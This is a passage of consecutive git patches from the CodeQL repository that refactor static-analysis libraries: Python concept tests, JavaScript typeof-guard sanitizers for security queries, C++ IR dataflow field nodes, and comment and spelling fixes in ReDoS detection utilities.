Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 22 Dec 2020 11:28:29 +0100 Subject: [PATCH 0370/1241] Python: Ensure all concept tests ignore irrelevant results Since this was causing a CI error. also changed things a bit so we do it in a consistent way :) --- .../test/experimental/meta/ConceptsTest.qll | 40 +++++++++++-------- 1 file changed, 23 insertions(+), 17 deletions(-) diff --git a/python/ql/test/experimental/meta/ConceptsTest.qll b/python/ql/test/experimental/meta/ConceptsTest.qll index 1deef32857b..6b3544da30e 100644 --- a/python/ql/test/experimental/meta/ConceptsTest.qll +++ b/python/ql/test/experimental/meta/ConceptsTest.qll @@ -111,6 +111,7 @@ class CodeExecutionTest extends InlineExpectationsTest { override string getARelevantTag() { result = "getCode" } override predicate hasActualResult(Location location, string element, string tag, string value) { + exists(location.getFile().getRelativePath()) and exists(CodeExecution ce, DataFlow::Node code | exists(location.getFile().getRelativePath()) and code = ce.getCode() and @@ -128,6 +129,7 @@ class SqlExecutionTest extends InlineExpectationsTest { override string getARelevantTag() { result = "getSql" } override predicate hasActualResult(Location location, string element, string tag, string value) { + exists(location.getFile().getRelativePath()) and exists(SqlExecution e, DataFlow::Node sql | exists(location.getFile().getRelativePath()) and sql = e.getSql() and @@ -145,6 +147,7 @@ class HttpServerRouteSetupTest extends InlineExpectationsTest { override string getARelevantTag() { result in ["routeSetup"] } override predicate hasActualResult(Location location, string element, string tag, string value) { + exists(location.getFile().getRelativePath()) and exists(HTTP::Server::RouteSetup setup | location = setup.getLocation() and element = setup.toString() and @@ -165,19 +168,22 @@ class HttpServerRequestHandlerTest extends InlineExpectationsTest { override string getARelevantTag() { result in ["requestHandler", "routedParameter"] } override predicate hasActualResult(Location location, string element, string tag, string value) { - exists(HTTP::Server::RequestHandler handler | - location = handler.getLocation() and - element = handler.toString() and - value = "" and - tag = "requestHandler" - ) - or - exists(HTTP::Server::RequestHandler handler, Parameter param | - param = handler.getARoutedParameter() and - location = param.getLocation() and - element = param.toString() and - value = param.asName().getId() and - tag = "routedParameter" + exists(location.getFile().getRelativePath()) and + ( + exists(HTTP::Server::RequestHandler handler | + location = handler.getLocation() and + element = handler.toString() and + value = "" and + tag = "requestHandler" + ) + or + exists(HTTP::Server::RequestHandler handler, Parameter param | + param = handler.getARoutedParameter() and + location = param.getLocation() and + element = param.toString() and + value = param.asName().getId() and + tag = "routedParameter" + ) ) } } @@ -198,7 +204,7 @@ class HttpServerHttpResponseTest extends InlineExpectationsTest { // flask tests more readable since adding full annotations for HttpResponses in the // the tests for routing setup is both annoying and not very useful. location.getFile() = file and - tag = getARelevantTag() and + exists(file.getRelativePath()) and ( exists(HTTP::Server::HttpResponse response | location = response.getLocation() and @@ -237,8 +243,8 @@ class FileSystemAccessTest extends InlineExpectationsTest { override string getARelevantTag() { result = "getAPathArgument" } override predicate hasActualResult(Location location, string element, string tag, string value) { + exists(location.getFile().getRelativePath()) and exists(FileSystemAccess a, DataFlow::Node path | - exists(location.getFile().getRelativePath()) and path = a.getAPathArgument() and location = a.getLocation() and element = path.toString() and @@ -254,8 +260,8 @@ class PathNormalizationTest extends InlineExpectationsTest { override string getARelevantTag() { result = "pathNormalization" } override predicate hasActualResult(Location location, string element, string tag, string value) { + exists(location.getFile().getRelativePath()) and exists(Path::PathNormalization n | - exists(location.getFile().getRelativePath()) and location = n.getLocation() and element = n.toString() and value = "" and @@ -270,8 +276,8 @@ class SafeAccessCheckTest extends InlineExpectationsTest { override string getARelevantTag() { result in ["checks", "branch"] } override predicate hasActualResult(Location location, string element, string tag, string value) { + exists(location.getFile().getRelativePath()) and exists(Path::SafeAccessCheck c, DataFlow::Node checks, boolean branch | - exists(location.getFile().getRelativePath()) and c.checks(checks.asCfgNode(), branch) and location = c.getLocation() and ( From f7f88689c4bbd6993d6ef3dd6856cfcdcc5a0b32 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Tue, 22 Dec 2020 13:26:49 +0100 Subject: [PATCH 0371/1241] use strings in isTypeofGard --- .../Security/CWE-915/PrototypePollutingFunction.ql | 12 ++++++------ .../src/semmle/javascript/DefensiveProgramming.qll | 10 +++++----- .../src/semmle/javascript/dataflow/TaintTracking.qll | 8 ++++---- .../src/semmle/javascript/security/TaintedObject.qll | 6 +++--- .../dataflow/PrototypePollutingAssignment.qll | 6 +++--- .../dataflow/UnsafeJQueryPluginCustomizations.qll | 2 +- .../UnsafeShellCommandConstructionCustomizations.qll | 5 +---- .../UnvalidatedDynamicMethodCallCustomizations.qll | 2 +- .../javascript/security/dataflow/XssThroughDom.qll | 6 +++--- 9 files changed, 27 insertions(+), 30 deletions(-) diff --git a/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql index 3aec2c4bd8f..2ca0fdb2724 100644 --- a/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql +++ b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql @@ -396,18 +396,18 @@ class InstanceOfGuard extends DataFlow::LabeledBarrierGuardNode, DataFlow::Value class TypeofGuard extends DataFlow::LabeledBarrierGuardNode, DataFlow::ValueNode { override EqualityTest astNode; Expr operand; - InferredType type; + TypeofTag tag; - TypeofGuard() { TaintTracking::isTypeofGuard(astNode, operand, type) } + TypeofGuard() { TaintTracking::isTypeofGuard(astNode, operand, tag) } override predicate blocks(boolean outcome, Expr e, DataFlow::FlowLabel label) { e = operand and outcome = astNode.getPolarity() and ( - type = TTObject() and + tag = "object" and label = "constructor" or - type = TTFunction() and + tag = "function" and label = "__proto__" ) or @@ -416,10 +416,10 @@ class TypeofGuard extends DataFlow::LabeledBarrierGuardNode, DataFlow::ValueNode ( // If something is not an object, sanitize object, as both must end // in non-function prototype object. - type = TTObject() and + tag = "object" and label instanceof UnsafePropLabel or - type = TTFunction() and + tag = "function" and label = "constructor" ) } diff --git a/javascript/ql/src/semmle/javascript/DefensiveProgramming.qll b/javascript/ql/src/semmle/javascript/DefensiveProgramming.qll index b10ba0bc22d..f4fc871be7d 100644 --- a/javascript/ql/src/semmle/javascript/DefensiveProgramming.qll +++ b/javascript/ql/src/semmle/javascript/DefensiveProgramming.qll @@ -326,15 +326,15 @@ module DefensiveExpressionTest { */ private class TypeofTest extends EqualityTest { Expr operand; - InferredType type; + TypeofTag tag; - TypeofTest() { TaintTracking::isTypeofGuard(this, operand, type) } + TypeofTest() { TaintTracking::isTypeofGuard(this, operand, tag) } boolean getTheTestResult() { exists(boolean testResult | - testResult = true and operand.analyze().getTheType() = type + testResult = true and operand.analyze().getTheType().getTypeofTag() = tag or - testResult = false and not operand.analyze().getAType() = type + testResult = false and not operand.analyze().getAType().getTypeofTag() = tag | if getPolarity() = true then result = testResult else result = testResult.booleanNot() ) @@ -348,7 +348,7 @@ module DefensiveExpressionTest { /** * Gets the `typeof` tag that is tested. */ - TypeofTag getTag() { result = type.getTypeofTag() } + TypeofTag getTag() { result = tag } } /** diff --git a/javascript/ql/src/semmle/javascript/dataflow/TaintTracking.qll b/javascript/ql/src/semmle/javascript/dataflow/TaintTracking.qll index a3b246d6934..204524a0173 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/TaintTracking.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/TaintTracking.qll @@ -899,7 +899,7 @@ module TaintTracking { Expr x; override EqualityTest astNode; - TypeOfUndefinedSanitizer() { isTypeofGuard(astNode, x, TTUndefined()) } + TypeOfUndefinedSanitizer() { isTypeofGuard(astNode, x, "undefined") } override predicate sanitizes(boolean outcome, Expr e) { outcome = astNode.getPolarity() and @@ -910,13 +910,13 @@ module TaintTracking { } /** - * Holds if `test` is a guard that checks if `operand` is typeof `type`. + * Holds if `test` is a guard that checks if `operand` is typeof `tag`. * * See `TypeOfUndefinedSanitizer` for example usage. */ - predicate isTypeofGuard(EqualityTest test, Expr operand, InferredType type) { + predicate isTypeofGuard(EqualityTest test, Expr operand, TypeofTag tag) { exists(Expr str, TypeofExpr typeof | test.hasOperands(str, typeof) | - str.mayHaveStringValue(type.getTypeofTag()) and + str.mayHaveStringValue(tag) and typeof.getOperand() = operand ) } diff --git a/javascript/ql/src/semmle/javascript/security/TaintedObject.qll b/javascript/ql/src/semmle/javascript/security/TaintedObject.qll index a59e8b8ea77..7f66594254f 100644 --- a/javascript/ql/src/semmle/javascript/security/TaintedObject.qll +++ b/javascript/ql/src/semmle/javascript/security/TaintedObject.qll @@ -103,13 +103,13 @@ module TaintedObject { boolean polarity; TypeTestGuard() { - exists(InferredType type | TaintTracking::isTypeofGuard(astNode, operand, type) | + exists(TypeofTag tag | TaintTracking::isTypeofGuard(astNode, operand, tag) | // typeof x === "object" sanitizes `x` when it evaluates to false - type = TTObject() and + tag = "object" and polarity = astNode.getPolarity().booleanNot() or // typeof x === "string" sanitizes `x` when it evaluates to true - type != TTObject() and + tag != "object" and polarity = astNode.getPolarity() ) } diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll index 2b6e413fd21..92f61f4ae8f 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll @@ -168,10 +168,10 @@ module PrototypePollutingAssignment { boolean polarity; TypeofCheck() { - exists(InferredType type | TaintTracking::isTypeofGuard(astNode, operand, type) | - type = TTObject() and polarity = astNode.getPolarity().booleanNot() + exists(TypeofTag value | TaintTracking::isTypeofGuard(astNode, operand, value) | + value = "object" and polarity = astNode.getPolarity().booleanNot() or - type != TTObject() and polarity = astNode.getPolarity() + value != "object" and polarity = astNode.getPolarity() ) } diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeJQueryPluginCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeJQueryPluginCustomizations.qll index 6ec7241f852..94d0492c93e 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeJQueryPluginCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeJQueryPluginCustomizations.qll @@ -134,7 +134,7 @@ module UnsafeJQueryPlugin { SyntacticConstants::isUndefined(undef) ) or - TaintTracking::isTypeofGuard(test, read.asExpr(), TTUndefined()) + TaintTracking::isTypeofGuard(test, read.asExpr(), "undefined") ) or polarity = true and diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll index f0be144cee6..9d72ba0f756 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll @@ -199,10 +199,7 @@ module UnsafeShellCommandConstruction { Expr x; override EqualityTest astNode; - TypeOfSanitizer() { - TaintTracking::isTypeofGuard(astNode, x, - any(InferredType t | t = TTNumber() or t = TTBoolean())) - } + TypeOfSanitizer() { TaintTracking::isTypeofGuard(astNode, x, ["number", "boolean"]) } override predicate sanitizes(boolean outcome, Expr e) { outcome = astNode.getPolarity() and diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnvalidatedDynamicMethodCallCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnvalidatedDynamicMethodCallCustomizations.qll index c3283a12cee..8630642e774 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnvalidatedDynamicMethodCallCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnvalidatedDynamicMethodCallCustomizations.qll @@ -100,7 +100,7 @@ module UnvalidatedDynamicMethodCall { override EqualityTest astNode; Expr operand; - FunctionCheck() { TaintTracking::isTypeofGuard(astNode, operand, TTFunction()) } + FunctionCheck() { TaintTracking::isTypeofGuard(astNode, operand, "function") } override predicate sanitizes(boolean outcome, Expr e, DataFlow::FlowLabel label) { outcome = astNode.getPolarity() and diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDom.qll b/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDom.qll index 0c807d3f539..8c3157fcce4 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDom.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDom.qll @@ -108,13 +108,13 @@ module XssThroughDom { boolean polarity; TypeTestGuard() { - exists(InferredType type | TaintTracking::isTypeofGuard(astNode, operand, type) | + exists(TypeofTag tag | TaintTracking::isTypeofGuard(astNode, operand, tag) | // typeof x === "string" sanitizes `x` when it evaluates to false - type = TTString() and + tag = "string" and polarity = astNode.getPolarity().booleanNot() or // typeof x === "object" sanitizes `x` when it evaluates to true - type != TTString() and + tag != "string" and polarity = astNode.getPolarity() ) } From 3094aedf14806cb310bfdd9b92e3979492c05f33 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 22 Dec 2020 14:42:53 +0100 Subject: [PATCH 0372/1241] Python: Fix regression in ConceptTests I accidentially deleted that line :D --- python/ql/test/experimental/meta/ConceptsTest.qll | 2 ++ 1 file changed, 2 insertions(+) diff --git a/python/ql/test/experimental/meta/ConceptsTest.qll b/python/ql/test/experimental/meta/ConceptsTest.qll index 6b3544da30e..0516fe5dac3 100644 --- a/python/ql/test/experimental/meta/ConceptsTest.qll +++ b/python/ql/test/experimental/meta/ConceptsTest.qll @@ -205,6 +205,8 @@ class HttpServerHttpResponseTest extends InlineExpectationsTest { // the tests for routing setup is both annoying and not very useful. location.getFile() = file and exists(file.getRelativePath()) and + // we need to do this step since we expect subclasses could override getARelevantTag + tag = getARelevantTag() and ( exists(HTTP::Server::HttpResponse response | location = response.getLocation() and From ec35e0d5189720ac8d4864b79ca571b57b0af976 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Tue, 22 Dec 2020 15:22:33 +0100 Subject: [PATCH 0373/1241] C++: Respond to review comments. --- .../ir/dataflow/internal/DataFlowPrivate.qll | 30 +++--- .../cpp/ir/dataflow/internal/DataFlowUtil.qll | 92 +++++++++++++------ 2 files changed, 81 insertions(+), 41 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index 72d6db0f8dd..516cd663288 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -237,12 +237,12 @@ private class ArrayContent extends Content, TArrayContent { private predicate instrToFieldNodeStoreStepNoChi( Node node1, FieldContent f, PartialDefinitionNode node2 ) { - exists(StoreInstruction store, PostUpdateFieldNode post | - post = node2.getPartialDefinition() and + exists(StoreInstruction store, PartialFieldDefinition pd | + pd = node2.getPartialDefinition() and not exists(ChiInstruction chi | chi.getPartial() = store) and - post.getPreUpdateNode() = getFieldNodeForFieldInstruction(store.getDestinationAddress()) and + pd.getPreUpdateNode() = getFieldNodeForFieldInstruction(store.getDestinationAddress()) and store.getSourceValueOperand() = node1.asOperand() and - f.getADirectField() = post.getPreUpdateNode().getField() + f.getADirectField() = pd.getPreUpdateNode().getField() ) } @@ -255,15 +255,15 @@ private predicate instrToFieldNodeStoreStepChi( Node node1, FieldContent f, PartialDefinitionNode node2 ) { exists( - ChiPartialOperand operand, StoreInstruction store, ChiInstruction chi, PostUpdateFieldNode post + ChiPartialOperand operand, StoreInstruction store, ChiInstruction chi, PartialFieldDefinition pd | - post = node2.getPartialDefinition() and + pd = node2.getPartialDefinition() and not chi.isResultConflated() and node1.asOperand() = operand and chi.getPartialOperand() = operand and store = operand.getDef() and - post.getPreUpdateNode() = getFieldNodeForFieldInstruction(store.getDestinationAddress()) and - f.getADirectField() = post.getPreUpdateNode().getField() + pd.getPreUpdateNode() = getFieldNodeForFieldInstruction(store.getDestinationAddress()) and + f.getADirectField() = pd.getPreUpdateNode().getField() ) } @@ -271,14 +271,14 @@ private predicate callableWithoutDefinitionStoreStep( Node node1, FieldContent f, PartialDefinitionNode node2 ) { exists( - WriteSideEffectInstruction write, ChiInstruction chi, PostUpdateFieldNode post, + WriteSideEffectInstruction write, ChiInstruction chi, PartialFieldDefinition pd, Function callable, CallInstruction call | chi.getPartial() = write and not chi.isResultConflated() and - post = node2.getPartialDefinition() and - post.getPreUpdateNode() = getFieldNodeForFieldInstruction(write.getDestinationAddress()) and - f.getADirectField() = post.getPreUpdateNode().getField() and + pd = node2.getPartialDefinition() and + pd.getPreUpdateNode() = getFieldNodeForFieldInstruction(write.getDestinationAddress()) and + f.getADirectField() = pd.getPreUpdateNode().getField() and call = write.getPrimaryInstruction() and callable = call.getStaticCallTarget() and not callable.hasDefinition() @@ -346,6 +346,12 @@ private class ArrayToPointerConvertInstruction extends ConvertInstruction { } } +/** + * These two predicates look like copy-paste from the two predicates with the same name in DataFlowUtil, + * but crucially they only skip past `CopyValueInstruction`s. This is because we use a special case of + * a `ConvertInstruction` to detect some read steps from arrays that undergoes array-to-pointer + * conversion. + */ private Instruction skipOneCopyValueInstructionRec(CopyValueInstruction copy) { copy.getUnary() = result and not result instanceof CopyValueInstruction or diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index 0d50f848689..0c3b06addf7 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -185,16 +185,24 @@ class OperandNode extends Node, TOperandNode { override string toString() { result = this.getOperand().toString() } } +/** An abstract class that defines conversion-like instructions. */ abstract private class SkippableInstruction extends Instruction { abstract Instruction getSourceInstruction(); } +/** + * Gets the instruction that is propaged through a non-empty sequence of conversion-like instructions. + */ private Instruction skipSkippableInstructionsRec(SkippableInstruction skip) { result = skip.getSourceInstruction() and not result instanceof SkippableInstruction or result = skipSkippableInstructionsRec(skip.getSourceInstruction()) } +/** + * Gets the instruction that is propagated through a (possibly empty) sequence of conversion-like + * instructions. + */ private Instruction skipSkippableInstructions(Instruction instr) { result = instr and not result instanceof SkippableInstruction or @@ -228,8 +236,16 @@ FieldNode getFieldNodeForFieldInstruction(Instruction instr) { } /** - * INTERNAL: do not use. A `FieldNode` represents the state of an object after modifying one - * of its fields. + * INTERNAL: do not use. A `FieldNode` represents the state of a field before any partial definitions + * of the field. For instance, in the snippet: + * ```cpp + * struct A { int b, c; }; + * // ... + * A a; + * f(a.b.c); + * ``` + * there are two `FieldNode`s: one corresponding to `c`, and one corresponding to `b`. Similarly, + * in `a.b.c = x` there are two `FieldNode`s: one for `c` and one for `b`. */ class FieldNode extends Node, TFieldNode { FieldAddressInstruction field; @@ -272,10 +288,9 @@ class FieldNode extends Node, TFieldNode { } /** - * INTERNAL: do not use. A `FieldNode` represents the state of an object after modifying one - * of its fields. + * INTERNAL: do not use. A partial definition of a `FieldNode`. */ -class PostUpdateFieldNode extends PartialDefinition { +class PartialFieldDefinition extends PartialDefinition { override FieldNode node; override FieldNode getPreUpdateNode() { result = node } @@ -435,6 +450,18 @@ abstract class PostUpdateNode extends Node { override Location getLocation() { result = getPreUpdateNode().getLocation() } } +/** + * A partial definition of a node. A partial definition that target arrays or pointers is attached to + * an `InstructionNode` (specifially, to the `ChiInstruction` that follows the `StoreInstruction`), and + * a partial update that targets a `FieldNode` is attached to the `FieldNode`. + *s + * The pre update node of a partial definition of a `FieldNode` is the `FieldNode` itself. This ensures + * that the dataflow library's reverse read mechanism builds up the correct access path for nested + * fields. + * For instance, in `a.b.c = x` there is a partial definition for `c` (let's call it `post[c]`) and a + * partial definition for `b` (let's call it `post[b]`), and there is a read step from `b` to `c` + * (using `instrToFieldNodeReadStep`), so there is a store step from `post[c]` to `post[b]`. + */ private newtype TPartialDefinition = MkPartialDefinition(Node node) { isPointerStoreNode(node, _, _) or @@ -681,7 +708,7 @@ predicate localFlowStep(Node nodeFrom, Node nodeTo) { simpleLocalFlowStep(nodeFr private predicate flowOutOfPostUpdate(PartialDefinitionNode nodeFrom, Node nodeTo) { // flow from the "outermost" field to the `ChiInstruction`, or `StoreInstruction` // if no `ChiInstruction` exists. - exists(AddressOperand addressOperand, PostUpdateFieldNode pd | + exists(AddressOperand addressOperand, PartialFieldDefinition pd | pd = nodeFrom.getPartialDefinition() and not exists(pd.getPreUpdateNode().getObjectNode()) and pd.getPreUpdateNode().getNextNode*() = getFieldNodeForFieldInstruction(addressOperand.getDef()) and @@ -707,30 +734,37 @@ private predicate flowOutOfPostUpdate(PartialDefinitionNode nodeFrom, Node nodeT ) } -private predicate flowIntoReadNode(Node nodeFrom, Node nodeTo) { - // flow from the "innermost" field to the load of that field. - exists(FieldNode fieldNode | nodeTo = fieldNode | - not exists(fieldNode.getObjectNode()) and - ( - exists(LoadInstruction load | - fieldNode.getNextNode*() = getFieldNodeForFieldInstruction(load.getSourceAddress()) and - nodeFrom.asInstruction() = load.getSourceValueOperand().getAnyDef() - ) - or - // We need this to make stores look like loads for the dataflow library. So when there's a store - // of the form x->y = z we need to make the field node corresponding to y look like it's reading - // from the memory of x. - exists(StoreInstruction store, ChiInstruction chi | - chi.getPartial() = store and - fieldNode.getNextNode*() = getFieldNodeForFieldInstruction(store.getDestinationAddress()) and - nodeFrom.asInstruction() = chi.getTotal() - ) - or - exists(ReadSideEffectInstruction read | - fieldNode.getNextNode*() = getFieldNodeForFieldInstruction(read.getArgumentDef()) and - nodeFrom.asOperand() = read.getSideEffectOperand() - ) +/** + * Gets the `FieldNode` corresponding to the outermost field that is used to compute `address`. + */ +private FieldNode getOutermostFieldNode(Instruction address) { + not exists(result.getObjectNode()) and + result.getNextNode*() = getFieldNodeForFieldInstruction(address) +} + +private predicate flowIntoReadNode(Node nodeFrom, FieldNode nodeTo) { + // flow from the memory of a load to the "outermost" field of that load. + not nodeFrom.asInstruction().isResultConflated() and + ( + exists(LoadInstruction load | + nodeTo = getOutermostFieldNode(load.getSourceAddress()) and + nodeFrom.asInstruction() = load.getSourceValueOperand().getAnyDef() ) + or + // We need this to make stores look like loads for the dataflow library. So when there's a store + // of the form x->y = z we need to make the field node corresponding to y look like it's reading + // from the memory of x. + exists(StoreInstruction store, ChiInstruction chi | + chi.getPartial() = store and + nodeTo = getOutermostFieldNode(store.getDestinationAddress()) and + nodeFrom.asInstruction() = chi.getTotal() + ) + ) + or + exists(ReadSideEffectInstruction read | + not read.getSideEffectOperand().getAnyDef().isResultConflated() and + nodeTo = getOutermostFieldNode(read.getArgumentDef()) and + nodeFrom.asOperand() = read.getSideEffectOperand() ) } From 354954c80cc0cffcddba415bafb670dcd9bdafd8 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Tue, 22 Dec 2020 15:41:06 +0100 Subject: [PATCH 0374/1241] changes based on review --- .../security/performance/ReDoSUtil.qll | 53 +++++++++---------- .../performance/SuperlinearBackTracking.qll | 22 ++++---- 2 files changed, 37 insertions(+), 38 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll index c29d913caa3..cabd5f085d4 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll @@ -17,7 +17,7 @@ import javascript /** * A configuration for which parts of a regular expression should be considered relevant for * the different predicates in `ReDoS.qll`. - * Used to adjust the computations for either superliniear or exponential backtracking. + * Used to adjust the computations for either superlinear or exponential backtracking. */ abstract class ReDoSConfiguration extends string { bindingset[this] @@ -124,12 +124,12 @@ private class RegexpCharacterConstant extends RegExpConstant { } /** - * Holds if `term` is the chosen cannonical representative for all terms with string representation `str`. + * Holds if `term` is the chosen canonical representative for all terms with string representation `str`. * - * Using cannonical representatives gives a huge performance boost when working with tuples containing multiple `InputSymbol`s. + * Using canonical representatives gives a huge performance boost when working with tuples containing multiple `InputSymbol`s. * The number of `InputSymbol`s is decreased by 3 orders of magnitude or more in some larger benchmarks. */ -private predicate isCannonicalTerm(RegExpTerm term, string str) { +private predicate isCanonicalTerm(RegExpTerm term, string str) { term = rank[1](RegExpTerm t, Location loc, File file | loc = t.getLocation() and @@ -154,7 +154,7 @@ private newtype TInputSymbol = */ CharClass(string charClassString) { exists(RegExpTerm term | term.getRawValue() = charClassString | getRoot(term).isRelevant()) and - exists(RegExpTerm recc | isCannonicalTerm(recc, charClassString) | + exists(RegExpTerm recc | isCanonicalTerm(recc, charClassString) | recc instanceof RegExpCharacterClass and not recc.(RegExpCharacterClass).isUniversalClass() or @@ -168,6 +168,13 @@ private newtype TInputSymbol = /** An epsilon transition in the automaton. */ Epsilon() +/** + * Gets the canonical CharClass for `term`. + */ +CharClass getCanonicalCharClass(RegExpTerm term) { + exists(string str | isCanonicalTerm(term, str) | result = CharClass(str)) +} + /** * Holds if `a` and `b` are input symbols from the same regexp. * (And not a `Dot()`, `Any()` or `Epsilon()`) @@ -251,10 +258,7 @@ private module CharacterClasses { */ pragma[noinline] predicate hasChildThatMatches(RegExpCharacterClass cc, string char) { - exists(string str | - isCannonicalTerm(cc, str) and - exists(CharClass(str)) - ) and + exists(getCanonicalCharClass(cc)) and exists(RegExpTerm child | child = cc.getAChild() | char = child.(RegexpCharacterConstant).getValue() or @@ -350,9 +354,7 @@ private module CharacterClasses { private class PositiveCharacterClass extends CharacterClass { RegExpCharacterClass cc; - PositiveCharacterClass() { - exists(string str | isCannonicalTerm(cc, str) | this = CharClass(str) and not cc.isInverted()) - } + PositiveCharacterClass() { this = getCanonicalCharClass(cc) and not cc.isInverted() } override string getARelevantChar() { result = getAMentionedChar(cc) } @@ -365,9 +367,7 @@ private module CharacterClasses { private class InvertedCharacterClass extends CharacterClass { RegExpCharacterClass cc; - InvertedCharacterClass() { - exists(string str | isCannonicalTerm(cc, str) | this = CharClass(str) and cc.isInverted()) - } + InvertedCharacterClass() { this = getCanonicalCharClass(cc) and cc.isInverted() } override string getARelevantChar() { result = nextChar(getAMentionedChar(cc)) or @@ -405,9 +405,7 @@ private module CharacterClasses { RegExpCharacterClassEscape cc; PositiveCharacterClassEscape() { - exists(string str | isCannonicalTerm(cc, str) | - this = CharClass(str) and cc.getValue() = ["d", "s", "w"] - ) + this = getCanonicalCharClass(cc) and cc.getValue() = ["d", "s", "w"] } override string getARelevantChar() { @@ -442,9 +440,7 @@ private module CharacterClasses { RegExpCharacterClassEscape cc; NegativeCharacterClassEscape() { - exists(string str | isCannonicalTerm(cc, str) | - this = CharClass(str) and cc.getValue() = ["D", "S", "W"] - ) + this = getCanonicalCharClass(cc) and cc.getValue() = ["D", "S", "W"] } override string getARelevantChar() { @@ -802,14 +798,14 @@ private module PrefixConstruction { result = prefix(prev) and delta(prev, Epsilon(), state) or not delta(prev, Epsilon(), state) and - result = prefix(prev) + getMinimumEdgeChar(prev, state) + result = prefix(prev) + getCanonicalEdgeChar(prev, state) ) } /** - * Gets the minimum char for which there exists a transition from `prev` to `next` in the NFA. + * Gets a canonical char for which there exists a transition from `prev` to `next` in the NFA. */ - private string getMinimumEdgeChar(State prev, State next) { + private string getCanonicalEdgeChar(State prev, State next) { result = min(string c | delta(prev, any(InputSymbol symbol | c = intersect(Any(), symbol)), next)) } @@ -882,6 +878,7 @@ private module SuffixConstruction { // all edges (at least one) with some char leads to another state that is rejectable. // the `next` states might not share a common suffix, which can cause FPs. exists(string char | char = hasEdgeToLikelyRejectableHelper(s) | + // noopt to force `hasEdgeToLikelyRejectableHelper` to be first in the join-order. exists(State next | deltaClosedChar(s, char, next) | isLikelyRejectable(next)) and forall(State next | deltaClosedChar(s, char, next) | isLikelyRejectable(next)) ) @@ -935,7 +932,7 @@ private module SuffixConstruction { } /** - * Holds if there is not edge from `s` labeled with "|", "\n", or "Z" in our NFA. + * Holds if there is no edge from `s` labeled with "|", "\n", or "Z" in our NFA. * This predicate is used as a cheap pre-processing to speed up `hasRejectEdge`. */ private predicate hasSimpleRejectEdge(State s) { @@ -953,6 +950,8 @@ private module SuffixConstruction { exists(string char, InputSymbol sym | char = w.charAt(i) and deltaClosed(prev, sym, result) and + // noopt to prevent joining `prev` with all possible `chars` that could transition away from `prev`. + // Instead only join with the set of `chars` where a relevant `InputSymbol` has already been found. sym = getAProcessInputSymbol(char) ) ) @@ -1015,8 +1014,8 @@ private string rotate(string str, int i) { } /** - * Holds if `term` may cause superliniear backtracking on strings containing many repetitions of `pump`. - * Gets the minimum possible string that causes superliniear backtracking. + * Holds if `term` may cause superlinear backtracking on strings containing many repetitions of `pump`. + * Gets the shortest string that causes superlinear backtracking. */ private predicate isReDoSAttackable(RegExpTerm term, string pump, State s) { exists(int i, string c | s = Match(term, i) | diff --git a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll index 9f4034b3217..94ad095030b 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll @@ -44,10 +44,10 @@ import ReDoSUtil */ /** - * An instantiaion of `ReDoSConfiguration` for superliniear ReDoS. + * An instantiaion of `ReDoSConfiguration` for superlinear ReDoS. */ -class SuperLiniearReDoSConfiguration extends 